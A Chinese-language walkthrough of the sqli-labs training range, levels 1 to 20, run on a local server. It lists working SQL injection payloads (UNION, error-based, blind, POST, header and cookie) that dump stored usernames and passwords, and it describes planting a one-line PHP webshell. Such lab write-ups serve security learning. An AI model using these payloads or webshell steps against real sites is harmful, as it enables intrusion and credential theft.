首先需要环境的搭建,用到的工具有Burp Suit抓包工具,phpstudy(关键)
首先下载phpstudy的压缩包,然后进行解压,双击图中的位置
进来是这个样子
要确保Apache和mysql都是开启状态
如果显示端口被占用,就更改端口号
更改成没有使用的端口号就可以
然后下载sqli-labs的压缩包,接要到phpstudy的www目录下
然后开始配置文件,双击打开上图中的文件夹,往下找到sql-connections此文件夹,然后点击进去,找到inc结尾的文件
然后进行文件配置,以记事本的形式打开,然后进行配置
更改成如图中所示,ok,配置完成,下面就可以开始靶场闯关了
第一关:查询注入点
开始界面如图:
如图中的提示,他要你输入id,这时我们就可以在网址后面加上?id =1
链接后面加上单引号(‘)查看返回的内容
可见我们是有报错的,有报错就证明有注入点的
当我们输入如下命令:会发现他又成功了
输入--的意义:因为--后面跟着至少一个空格是一种注释符号,用来注释掉其后面的语句,让其不被数据库所执行
接下来我们就可因深究漏洞,研究其数据库结构一系列操作
获取数据库信息
接下来判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效
测试到第 4 列无回显,说明表中一共有 3 列
?id=1' ORDER BY 4--+
接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。
?id=99' UNION SELECT 1,2,3--+
接下来开始爆数据库名,我们选择第 2 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。
?id=99' UNION SELECT 1,database(),3 --+
接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
接下来爆 users 表的字段,在 information_schema.columns 爆出来
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+
接下来我们爆出 users 表中的信息,这个表有用户名和密码这种敏感信息
id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+
第二关:
第二关和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入
然后输入如下的的查询指令:
?id=-1 union select 1,2,group_concat(username ,id , password) from users
就会报出想要的一些信息
第三关:
第三关当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
当我们输入?id=1’的时候,会显示成功
当我们输入?id=2’的时候,会显示报错
可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
然后敲上如图的命令,会显示成功
然后我们就可以在此基础上进行sql注入了:
如下所有代码以此为基础进行构造
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
在id后加入反斜杠\,发现是双引号括号")闭合
根据页面报错信息得知sql语句是双引号字符型且有括号
用如下命令进行sql注入:
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关
寻找注入点
在id后加入反斜杠\
根据上图报错原因应该是发现这个应该是单引号 ' 闭合
开始进行注入测试
- 使用left()函数进行截取测试
?id=1' and left(version(),1)=3%23 //截取version()最左侧得到的值是否为3,如果为3返回you are in...
?id=1' and left(version(),1)=5%23 //you are in...
当我们输入?id=1' and left(version(),1)=3%23时:
当我们输入?id=1' and left(version(),1)=5%23时:
- 使用length判断长度
- 利用ascii码猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115%23 //115对应的是s
然后我们可以利用Burp Suit来跑出数据库的名字
开启火狐代理
然后Burp suit开启拦截
抓包查看
进行结果排序,数据库的名字:security
第六关(操作和第五关差不多)
在id后面敲上\
根据错误信息发现这个应该是双引号 " 闭合
开始进行注入测试
1.使用left()函数进行截取测试
?id=1' and left(version(),1)=3%23 //截取version()最左侧得到的值是否为3,如果为3返回you are in...
?id=1' and left(version(),1)=5%23 //you are in...
当我们输入?id=1' and left(version(),1)=3%23时:
当我们输入?id=1' and left(version(),1)=5%23时:
2.使用length判断长度
3.利用ascii码猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115%23
然后我们可以利用Burp Suit来跑出数据库的名字
开启火狐代理
然后Burp suit开启拦截
抓包查看
进行结果排序,数据库的名字:security
第七关
当我们输入?id=1’时会发现跟上述几关不太一样,不显示错误信息
当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串
因为单引号破坏了他原有语法结构,然后我输入id=1'--+时依旧报错
这时候我们可以输入id=1')--+发现依然报错
这时输入id=1'))--+,发现页面显示正常
需要多次尝试1‘ 1“ 1’) 1”) 1‘)) 最后我们发现是1‘))
这关我们主要就是往服务器上写入文件,比如一句话木马,我们首先要有一个存储文件的路径,也可以手动去查看,这里我们选择手动查看
找到路径之后,我们往这个路径下写入一个文件名为(随意起)nice的php文件,主要这里的路径要用双反斜杠\\,否则建立出来的文件名会加前缀
虽然报错
但创建成功
然后创建一个muma.php的文件,里面写入一句话muma
在弹出的弹窗中找到muma.php的位置,点击opper,之后右击,选择文件属性
找到index.php文件,寻找其中sql连接语句,顺藤摸瓜,找到数据库管理员信息
找到了管理员信息(其中,,用户、密码和主机之后,填写数据库管理的配置时 ,要用,)
再次右击刚才的地址,,点击数据库管理,点击配置,根据上图输入以下信息:
提交,就可以管理数据库啦,单击和双击只能选择那一项,需要点击执行,才能显示
第八关
首先判断注入类型输入id=1
输入?id=1‘
传入单引号的时候页面显示异常了,说明闭合方式是含有单引号的!
通过使用and 1=1 和and 1=2的状态来判断是否是单引号闭合
显然此时是单引号闭合,有布尔类型状态。使用布尔盲注
然后判断有多少个字段,使用order by,证明有三个字段
以下便是通过布尔盲注来获取数据库信息的操作了
第九关
上来先判断是字符型注入,并且是延迟型注入(如何判断是不是延迟型,当你用二分法时不管左边还是右边都是对的,说明二分法就做不了了)
数据库的长度为8
这关跟第五关步骤是一样的,就不过多阐述
1.使用left()函数进行截取测试
2.使用length判断长度
3.利用ascii码猜测数据库名
获取到数据库名之后就可以进行如下操作:
获取用户:
获取密码:
第十关
和第九关相同,只是把单引号 ' 还成双引号 ’’
获取用户名
获取密码:
第十一关
从这一关开始,我们就进入到了POST注入的世界了。在接下来的几关中我们将陆续介绍关于POST注入的方法以及技巧
当我们输入1’ 时,根据报错信息我们可以知道大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型
这里我们使用--+注释就不行,需要换成#来注释
第十二关
当我们输入1'和1时候页面没有反应
当我们输入1’’时
就可以知道sql语句是双引号且有括号
那么我们可以构造下面语句进行sql注入。
1" ) or 1=1 #判断是否存在sql注入。
1" ) union select 1,2#
第十三关
首先判断数据类型
用户名随便写并使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入
输入:admin' OR 1 = 1#会提示有报错信息
输入admin' ) OR 1 = 1#会提示登陆成功
添加一个括号,单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合
接下来就是获取数据库的信息
判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。
uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,网页返回正常
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,SQL 语句报错
说明是 2 列
使用 length() 函数判断数据库名字长度
uname=a') OR LENGTH((SELECT database())) > 5#&passwd=a&submit=Submit
使用二分法测试,最终得出数据库名字长度为 8
uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit
获取数据库名,使用 left(string, num) 函数返回字符串 String 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名字第一位不是‘a’
uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit
第十四关
判断数据类型
用户名随便写点东西然后使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。
网页提示登录失败,也没有返回语法错误的提示信息
a' OR 1 = 1#
以下内容,都会显示登录失败且无回显
a’ )OR 1 =1#
a’) )OR 1 =1#
使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。
admin" OR 1 = 1#
判断表有几列:
uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit,页面返回正常
uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,网页返回 SQL 语法报错
所以,数据库有 2 列
使用 length()函数结合回显信息得出数据库名字长度为 8
uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit
使用 substr() 截取数据库名字的每个字符,判断其 ASCLL 值来判断是否正确
uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit
最后得出数据库的名字为“security”
继续使用相同的方法继续爆出表明、字段名和其他信息
第十五关
POST 方式的布尔型盲注
浏览器访问 http://127.0.0.1/sqli-labs-master/Less-15/
然后开启火狐代理
Burpsuit拦截
开始截断数据包进行SQL注入
提交表单信息
进行抓包拦截查看
修改字段进行SQL 注入根据返回的图片来验证是否满足条件
POST 方式的时间盲注
跟上述操作步骤一样,只是修改上面实验的布尔盲注代码
第十六关
判断注入类型
用户名输入框,单引号闭合,OR 运算符构造恒真条件,使用“#”注释后面的 SQL 语句
网页提示登录失败,未返回任何信息
以下内容都会显示登录失败
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
注入双引号和括号,页面提示登录成功,此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以
输入以下命令显示登录成功
") OR 1 = 1#
进行Burpsuit进行抓包
获取数据库信息
我们使用布尔盲注
判断表有几列
uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登录成功,无 SQL 报错
uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登录失败,无 SQL 报错
得出数据库名字的长度
uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit
获取数据库名
uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit
第十七关
判断注入类型
我们先按照网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码
切回到11关验证密码是否被修改,证明修改成功
接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败
利用Burp Suit抓包得知网页需要利用 Post 方法起脚的参数格式如下
爆表名,XPath_string 参数可以使用一个SELECT 查询结果,使用 group_concat() 函数聚合
爆字段名
第十八关
HTTP User-Agent 注入
浏览器访问 http://127.0.0.1/sqli-labs-master/Less-18/
然后开启火狐代理
Burpsuit拦截
表单登录
抓包拦截
修改 User-Agent 字段 添加一个 ’ 单引号
查询数据库版本信息
第十九关
登录表单信息
在Burpsuit上截取 HTTP 请求
使用单引号测试是否存在注入
接下来开始注入
1.报错注入
- 盲注测试
第二十关
Cookie注入
浏览器访问: http://127.0.0.1/sqli-labs-master/Less-20/
表单登录
抓取到数据包我们点击放行,我们需要抓取包含 Cookie 信息的 HTTP
修改cookie后面的信息:
前端页面查看
进行报表查看,前面的操作一样,只是修改cookie后面的代码
暴字段:
前面的操作一样,只是修改cookie后面的代码
暴数据:
跟前面的操作一样,只是修改cookie的代码
感谢观看!